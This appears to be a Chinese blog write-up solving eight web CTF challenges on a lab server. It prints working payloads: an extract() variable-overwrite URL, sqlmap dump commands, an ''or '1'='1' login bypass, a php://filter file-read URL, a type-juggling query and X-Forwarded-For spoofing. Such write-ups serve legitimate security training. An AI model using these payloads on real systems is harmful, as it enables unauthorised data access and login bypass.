20190423 CTF题-web

签到题(代码审计-extract变量覆盖)

WEB1(SQL注入)

WEB2(万能语句登陆框)

WEB3(文件包含+php伪协议)

WEB4(脚本题)

WEB5(md5验证)

vim编辑器(备份文件+代码审计)

WEB7(伪造ip)


签到题(代码审计-extract变量覆盖)

很明显是一道关于extract变量覆盖的代码审计题。

需要满足下面两个条件:

  1. 利用extract传入空值覆盖$b和$a的值
  2. 还要满足$a==$c

Payload:

http://123.206.31.85:10001/?b=&a=

得到flag。


WEB1(SQL注入)

看到留言本很自然就想到SQL注入。

抓包保存为txt文件,sqlmap跑:

sqlmap.py -r 1.txt --current-db

sqlmap.py -r 1.txt -D web5 --tables

 sqlmap.py -r 1.txt -D web5 -T flag --dump

 


WEB2(万能语句登陆框)

一看就知道是sql注入题,用户名构造万能密码:'or '1' = '1' #   密码任意  得到flag。


WEB3(文件包含+php伪协议)

刚开始看到这道题的时候还以为是文件上传,但其实是考察文件包含漏洞+php伪协议

从url的 ?op=upload 其实就可以猜测出,只是把原本的file替换成了op。

 

Payload:

http://123.206.31.85:10003/?op=php://filter/read=convert.base64-encode/resource=flag

base64解码:

得到flag。


WEB4(脚本题)

说到快就得写脚本了。

# -*- coding:utf-8 -*-
import requests
import re

url = "http://123.206.31.85:10002/index.php"
session = requests.session()
r = session.post(url)
html = r.text
key = re.findall('(.*)</p>', html)
for i in key:
    r2 = session.post('http://123.206.31.85:10002/index.php',data ={'result':eval(i)})
    print(r2.text)

运行得到flag。

 


WEB5(md5验证)

根据页面title提示robots,访问robots.txt

访问shell.php

<?php
$a = 0;
for($a; $a<100000000; $a++){
	if(substr(md5($a),0,6) == '52aa16'){
		echo $a;
		exit();
	}
}
?>

执行后得到9288。

得到flag。


vim编辑器(备份文件+代码审计)

根据提示,观察url发现这是1ndex.php,而不是index.php。

抓包,修改为index.php,发现302跳转:

根据这道题的名字猜测,既然是用vim写的或许会有临时文件,果然在index.php~找到了。

<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
    header('location:./1ndex.php');
}else{
	$id = $_GET['id'];
	if (!is_numeric($id)) {
		$id = intval($id);
		switch ($id) {
			case $id>=0:
				echo "快出去吧,走错路了~~~<br>";
				echo "这么简单都不会么?";
				break;
			case $id>=10:
				exit($flag);
				break;
			default:
				echo "你走不到这一步的!";
				break;
		}
	}
}
?>

代码审计。

Payload:

http://123.206.31.85:10015/index.php?id="10a"

 


WEB7(伪造ip)

进到页面后,查看一下源码。

结果找到这个:

base64解码后:

test123

尝试登陆,提示ip禁止访问:

猜测有可能需要本地访问,因此用火狐的 X-Forwarded-For Header插件 伪造127.0.0.1。

得到flag。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值